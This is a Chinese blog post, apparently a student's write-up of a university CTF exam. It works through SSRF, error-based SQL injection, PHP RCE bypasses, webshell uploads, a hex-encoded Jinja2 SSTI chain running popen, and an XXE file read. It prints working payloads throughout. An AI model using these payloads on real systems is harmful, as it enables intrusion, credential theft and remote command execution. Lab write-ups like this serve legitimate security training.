大一下学期第二次断网考核

一、Web(/6)

(1)ez_ssrf

本题是SSRF漏洞,通过查看代码我们可以得知,该页面以GET的方式接受url参数,改参数必须要以 http://127.0.0.1 开头,然后使用gethostbyname() 函数获取url参数传入的地址解析之后的IP。该IP不能是localhost或127.0.0.1

<?php
highlight_file(__FILE__);

//flag在/flag路由中

if (isset($_GET['url'])){
    $url = $_GET['url'];
    
    if (strpos($url, 'http://127.0.0.1') !== 0){
        echo json_encode(["error" => "Only http://127.0.0.1 URLs are allowed"]);
        exit;
    }

    $host = parse_url($url, PHP_URL_HOST);

    $ip = gethostbyname($host);

    $forbidden_ips = ['127.0.0.1', '::1'];
    if (in_array($ip, $forbidden_ips)){
        echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
        exit;
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'curl/7.68.0');
    
    $response = curl_exec($ch);

    if (curl_errno($ch)){
        echo json_encode(["error" => curl_error($ch)]);
    } else {
        echo $response;
    }

    curl_close($ch);
} else {
    echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?> 

既然如此,先绕过第一步,开头按要求使用http://127.0.0.1,然后使用@符号代替解析过程,直接指向@的地址,但是localhost和127.0.0.1都不能用,那我们使用0.0.0.0来代替

127.0.0.1 是回环地址,用于指向本机,常用于本地测试和服务访问,仅限本机使用,通信效率高。0.0.0.0 是未指定地址,用于监听所有网络接口的连接请求或表示未分配地址,具有通用性,但不能直接用于设备间通信。

假如将一个服务的允许IP设置为127.0.0.1:端口,那么就只有本机才能访问。但是如果设置为0.0.0.0:端口,那么只要访问该端口,所有请求都能访问

(2)ez_sql

打开题目环境,是一个登录界面,尝试弱口令,发现admin/admin123可以成功登录。但是账号和密码并不存在注入点,尝试UA头之后发现注入点

结合SQL报错信息和UA头的一般操作,这里可能是一个插入语句,将UA头存储到对应的IP和用户内容里面去。尝试基于报错注入构造Payload

' or updatexml(1,concat(0x7e,database()),0),1,1)#

成功获得数据库

同样的方法直接爆表名,采用正确闭合符 ,'

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'YUNXI_DB')),1),'

得到表名

继续爆内容

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name like 'YUNXI_USER' and table_schema like 'YUNXI_DB')),1),'

继续爆字段

' and updatexml(1,concat(0x7e,(select group_concat(concat(username,'^',password)) from YUNXI_USER),0x7e),1),'

成功了,但是无法完全显示,我们使用mid函数限制输出行,首先查看前半部分

' and updatexml(1,(SELECT mid(password,1) from YUNXI_USER as yx limit 1,1),1),'

然后是后半部分

拼接在一起即可

SQL MID() 语法

SELECT MID(column_name,start[,length]) FROM table_name
参数描述
column_name必需。要提取字符的字段。
start必需。规定开始位置(起始值是 1)。
length可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

(3)ez_rce

先查看源代码,本题需要传入四个变量,分别是 a,b,num,file

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['num'])) {
    $a = $_POST['a'];
    $b = $_POST['b'];
    $num = $_GET['num'];

    if (is_numeric($num)) {
        die("num can't be a number</br>");
    } elseif ($num != 123456) {
        die("Wrong num</br>");
    }

    if ($a != $b && md5($a) === md5($b)) {
        echo "successful</br>";
        include($_POST['file']);       #f11111ag.php
    }  
} 
?>

首先绕过num与123456比较的逻辑,PHP是弱类型语言,弱比较会在比较之前将两边的值转换为相同的类型,而强比较则不仅比较值,还比较类型。这里明显是弱比较,那么我们在123456中加入任何字符就可以绕过这一步

接下来是a和b的自身相等性和md5值相等性的比较,这里要求a与b本身以及其md5值都分别相等。我们采用数组绕过,在PHP的MD5方法处理数组的时候会返回一个Warning级别的控制并继续执行代码

都绕过了,最后来读取一下f11111ag.php文件,发现无法直接读取

采用PHP伪协议加上base64编码读取文件源码

解码得

<?php
error_reporting(0);

function no($txt) {
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|exec|printf|passthru|proc_open|shell_exec|eval|popen|f/i", $txt)) {
        return $txt;
    } else {
        die("what's up");
    }
}

$e = $_POST['e'];
if (isset($_GET['m']) && isset($_GET['n']) && isset($_POST['e'])) {
    $param1 = no($_GET['m']);
    $param2 = no($_GET['n']);

    if (function_exists($e)) {
        call_user_func($e, $param1, $param2);
    } else {
        die("Function not allowed.");
    }
} else {
    echo "nonono";
}
?>

这里e没有被使用过滤规则,我们直接使用 passthru 函数

查看flag,cat使用反斜杠绕过,f使用通配符替代

(4)ez_upload

打开界面是一个文件上传的地方,我们通过查看源码,发现了一个引用的js文件,其实就是前端文件后缀过滤,我们直接禁用js

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    var allow_ext = ".jpg|.png|.gif";
    var ext_name = file.substring(file.lastIndexOf("."));
    if (allow_ext.indexOf(ext_name) == -1) {
        var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
        alert(errMsg);
        return false;
    }
}

然后写一个后缀为 phtml 的一句话木马上传,链接成功

(4)野原新之助的商店

方法一 直接使用焚靖

先列出文件

直接查看文件

方法二 手搓

打开源代码,发现在渲染时使用了 render_template_string 函数,而不是 render_template ,页面结果直接由用户输入字符串渲染,存在SSTI漏洞

def search():
    query = request.form.get('query', '').strip()  # 从表单获取搜索词
    # 检查用户输入是否包含黑名单中的关键字
    if blacklist(query):
        return "检测到非法输入!", 400
    # 使用 render_template_string 渲染用户输入的内容
    template = f'''
        {{% extends "base.html" %}}
        {{% block content %}}
            <h2>搜索结果:"{query}"</h2>
            <div class="user-input">
                {query}
            </div>
        {{% endblock %}}
    '''
    return render_template_string(template)

同时注意到黑名单,我们使用最简单的十六进制绕过

BLACKLIST = [
    "{%", "%}",  # Jinja2 控制语句
    "class", "init", "globals", "builtins",  # 常见的 SSTI 关键字
    ".","_","|",   # 符号
    "config", "request", "session",  # Flask 内置对象
    "cat", "tac", "more","less","head","type"  # 命令执行
]

先直接查看可用类:

{{''['__class__']['__base__']['__subclasses__']()}}
#十六进制替换
{{''['\x5F\x5F\x63\x6C\x61\x73\x73\x5F\x5F']['\x5F\x5F\x62\x61\x73\x65\x5F\x5F']['\x5F\x5F\x73\x75\x62\x63\x6C\x61\x73\x73\x65\x73\x5F\x5F']()}}

返回了所有可用类,我们在其中找到包含os的类

def find_classes_with_keyword(classes_list, keyword):
    matches = []
    for index, class_str in enumerate(classes_list):
        if keyword.lower() in class_str.lower():
            class_name = class_str.split("'")[1] if "'" in class_str else class_str
            matches.append((index, class_name))
    return matches

if __name__ == "__main__":
    # 读取文件名为1.txt的文件内容并转换为列表
    with open("1.txt", "r") as file:
        classes_str = file.read()

    classes_list = [item.strip() for item in classes_str[1:-1].split(',')]
    
    keyword = input("请输入要搜索的关键词: ").strip()
    results = find_classes_with_keyword(classes_list, keyword)
    
    if results:
        print(f"找到 {len(results)} 个包含 '{keyword}' 的类:")
        for idx, (position, class_name) in enumerate(results, 1):
            print(f"{idx}. 位置: {position}, 类名: {class_name}")
    else:
        print(f"没有找到包含 '{keyword}' 的类")

发现132位置有我们要用的类

查找目录下文件

{{['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls')['read']()}}
#十六进制替换
{{''['\x5F\x5F\x63\x6C\x61\x73\x73\x5F\x5F']['\x5F\x5F\x62\x61\x73\x65\x5F\x5F']['\x5F\x5F\x73\x75\x62\x63\x6C\x61\x73\x73\x65\x73\x5F\x5F']()[132]['\x5F\x5F\x69\x6E\x69\x74\x5F\x5F']['\x5F\x5F\x67\x6C\x6F\x62\x61\x6C\x73\x5F\x5F']['popen']('ls')['read']()}}

查看flag文件

''['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ca\\t f1444444g')['read']()
#转换为十六进制
{{''['\x5F\x5F\x63\x6C\x61\x73\x73\x5F\x5F']['\x5F\x5F\x62\x61\x73\x65\x5F\x5F']['\x5F\x5F\x73\x75\x62\x63\x6C\x61\x73\x73\x65\x73\x5F\x5F']()[132]['\x5F\x5F\x69\x6E\x69\x74\x5F\x5F']['\x5F\x5F\x67\x6C\x6F\x62\x61\x6C\x73\x5F\x5F']['popen']('ca\\t f1444444g')['read']()}}

(5)Secret Platform

本题为XXE漏洞

查看源代码,发现一段关键的Javascript代码,大意是从表单提取name和value,然后以一个XML文件的格式提交。

<script>
        document.getElementById('loginForm').addEventListener('submit', function (e) {
            e.preventDefault(); // Prevent form submission

            // Get user input
            const name = document.getElementById('name').value;
            const password = document.getElementById('password').value;

            // Create XML payload
            const xmlPayload = `
                <?xml version="1.0" encoding="UTF-8"?>
                <info>
                    <name>${name}</name>
                    <password>${password}</password>
                </info>
            `;

            // Send XML data to the server using Fetch API
            fetch('xxe.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/xml'
                },
                body: xmlPayload
            })
            .then(response => response.text())
            .then(data => {
                // Display server response
                document.getElementById('message').innerText = data;
            })
            .catch(error => {
                console.error('Error:', error);
                document.getElementById('message').innerText = 'An error occurred. Please try again.';
            });
        });
    </script>

我们使用bp抓包,果然是这样,那么我们声明一个实体来读取文件,发现可以成功读取

使用dirsearch扫描一下目录

发现一个upload目录和一个admin.php,我们使用XXE漏洞读取到admin.php的base64源码,解密后得到用户名和密码

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM
 "php://filter/convert.base64-encode/resource=admin.php">

]>
<info>
    <name>&xxe;</name>
    <password>test</password>
</info>

登录后是一个文件上传的功能,上传文件提示只能上传图片,我们上传一个一句话木马,由于后端检测文件头,我们加上GIF89a。后端也过滤了php后缀名,我们使用Apache服务器的解析漏洞,将后缀改为.php.abc

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

如1.php.abc,因apache不识别.abc后缀,所以向前解析php
1.php.abc => 1.php
test.php.owf.rar解析成test.php

上传成功,链接一下

然后找flag即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇